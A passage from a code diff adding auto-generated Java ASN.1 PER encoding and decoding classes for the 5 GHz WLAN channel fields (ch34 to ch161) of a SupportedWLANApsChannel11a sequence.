+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh46();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh46ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11a.ch46Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch46 : "
+ + getCh46().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh48() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh48();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh48ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11a.ch48Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch48 : "
+ + getCh48().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh52() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh52();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh52ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11a.ch52Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch52 : "
+ + getCh52().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh56() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh56();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh56ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11a.ch56Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch56 : "
+ + getCh56().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh60() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh60();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh60ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11a.ch60Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch60 : "
+ + getCh60().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh64() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh64();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh64ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11a.ch64Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch64 : "
+ + getCh64().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 12);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh149() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh149();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh149ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11a.ch149Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch149 : "
+ + getCh149().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 13);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh153() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh153();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh153ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11a.ch153Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch153 : "
+ + getCh153().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 14);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh157() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh157();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh157ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11a.ch157Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch157 : "
+ + getCh157().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 15);
+
+ @Override public boolean isExplicitlySet() {
+ return getCh161() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCh161();
+ }
+
+ @Override public void setToNewInstance() {
+ setCh161ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11a.ch161Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch161 : "
+ + getCh161().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch34Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch34Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch34Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch34Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch34Type != null) {
+ return ImmutableList.of(TAG_ch34Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch34Type from encoded stream.
+ */
+ public static ch34Type fromPerUnaligned(byte[] encodedBytes) {
+ ch34Type result = new ch34Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch34Type from encoded stream.
+ */
+ public static ch34Type fromPerAligned(byte[] encodedBytes) {
+ ch34Type result = new ch34Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch34Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch36Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch36Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch36Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch36Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch36Type != null) {
+ return ImmutableList.of(TAG_ch36Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch36Type from encoded stream.
+ */
+ public static ch36Type fromPerUnaligned(byte[] encodedBytes) {
+ ch36Type result = new ch36Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch36Type from encoded stream.
+ */
+ public static ch36Type fromPerAligned(byte[] encodedBytes) {
+ ch36Type result = new ch36Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch36Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch38Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch38Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch38Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch38Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch38Type != null) {
+ return ImmutableList.of(TAG_ch38Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch38Type from encoded stream.
+ */
+ public static ch38Type fromPerUnaligned(byte[] encodedBytes) {
+ ch38Type result = new ch38Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch38Type from encoded stream.
+ */
+ public static ch38Type fromPerAligned(byte[] encodedBytes) {
+ ch38Type result = new ch38Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch38Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch40Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch40Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch40Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch40Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch40Type != null) {
+ return ImmutableList.of(TAG_ch40Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch40Type from encoded stream.
+ */
+ public static ch40Type fromPerUnaligned(byte[] encodedBytes) {
+ ch40Type result = new ch40Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch40Type from encoded stream.
+ */
+ public static ch40Type fromPerAligned(byte[] encodedBytes) {
+ ch40Type result = new ch40Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch40Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch42Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch42Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch42Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch42Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch42Type != null) {
+ return ImmutableList.of(TAG_ch42Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch42Type from encoded stream.
+ */
+ public static ch42Type fromPerUnaligned(byte[] encodedBytes) {
+ ch42Type result = new ch42Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch42Type from encoded stream.
+ */
+ public static ch42Type fromPerAligned(byte[] encodedBytes) {
+ ch42Type result = new ch42Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch42Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch44Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch44Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch44Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch44Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch44Type != null) {
+ return ImmutableList.of(TAG_ch44Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch44Type from encoded stream.
+ */
+ public static ch44Type fromPerUnaligned(byte[] encodedBytes) {
+ ch44Type result = new ch44Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch44Type from encoded stream.
+ */
+ public static ch44Type fromPerAligned(byte[] encodedBytes) {
+ ch44Type result = new ch44Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch44Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch46Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch46Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch46Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch46Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch46Type != null) {
+ return ImmutableList.of(TAG_ch46Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch46Type from encoded stream.
+ */
+ public static ch46Type fromPerUnaligned(byte[] encodedBytes) {
+ ch46Type result = new ch46Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch46Type from encoded stream.
+ */
+ public static ch46Type fromPerAligned(byte[] encodedBytes) {
+ ch46Type result = new ch46Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch46Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch48Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch48Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch48Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch48Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch48Type != null) {
+ return ImmutableList.of(TAG_ch48Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch48Type from encoded stream.
+ */
+ public static ch48Type fromPerUnaligned(byte[] encodedBytes) {
+ ch48Type result = new ch48Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch48Type from encoded stream.
+ */
+ public static ch48Type fromPerAligned(byte[] encodedBytes) {
+ ch48Type result = new ch48Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch48Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch52Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch52Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch52Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch52Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch52Type != null) {
+ return ImmutableList.of(TAG_ch52Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch52Type from encoded stream.
+ */
+ public static ch52Type fromPerUnaligned(byte[] encodedBytes) {
+ ch52Type result = new ch52Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch52Type from encoded stream.
+ */
+ public static ch52Type fromPerAligned(byte[] encodedBytes) {
+ ch52Type result = new ch52Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch52Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch56Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch56Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch56Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch56Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch56Type != null) {
+ return ImmutableList.of(TAG_ch56Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch56Type from encoded stream.
+ */
+ public static ch56Type fromPerUnaligned(byte[] encodedBytes) {
+ ch56Type result = new ch56Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch56Type from encoded stream.
+ */
+ public static ch56Type fromPerAligned(byte[] encodedBytes) {
+ ch56Type result = new ch56Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch56Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch60Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch60Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch60Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch60Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch60Type != null) {
+ return ImmutableList.of(TAG_ch60Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch60Type from encoded stream.
+ */
+ public static ch60Type fromPerUnaligned(byte[] encodedBytes) {
+ ch60Type result = new ch60Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch60Type from encoded stream.
+ */
+ public static ch60Type fromPerAligned(byte[] encodedBytes) {
+ ch60Type result = new ch60Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch60Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch64Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch64Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch64Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch64Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch64Type != null) {
+ return ImmutableList.of(TAG_ch64Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch64Type from encoded stream.
+ */
+ public static ch64Type fromPerUnaligned(byte[] encodedBytes) {
+ ch64Type result = new ch64Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch64Type from encoded stream.
+ */
+ public static ch64Type fromPerAligned(byte[] encodedBytes) {
+ ch64Type result = new ch64Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch64Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch149Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch149Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch149Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch149Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch149Type != null) {
+ return ImmutableList.of(TAG_ch149Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch149Type from encoded stream.
+ */
+ public static ch149Type fromPerUnaligned(byte[] encodedBytes) {
+ ch149Type result = new ch149Type();
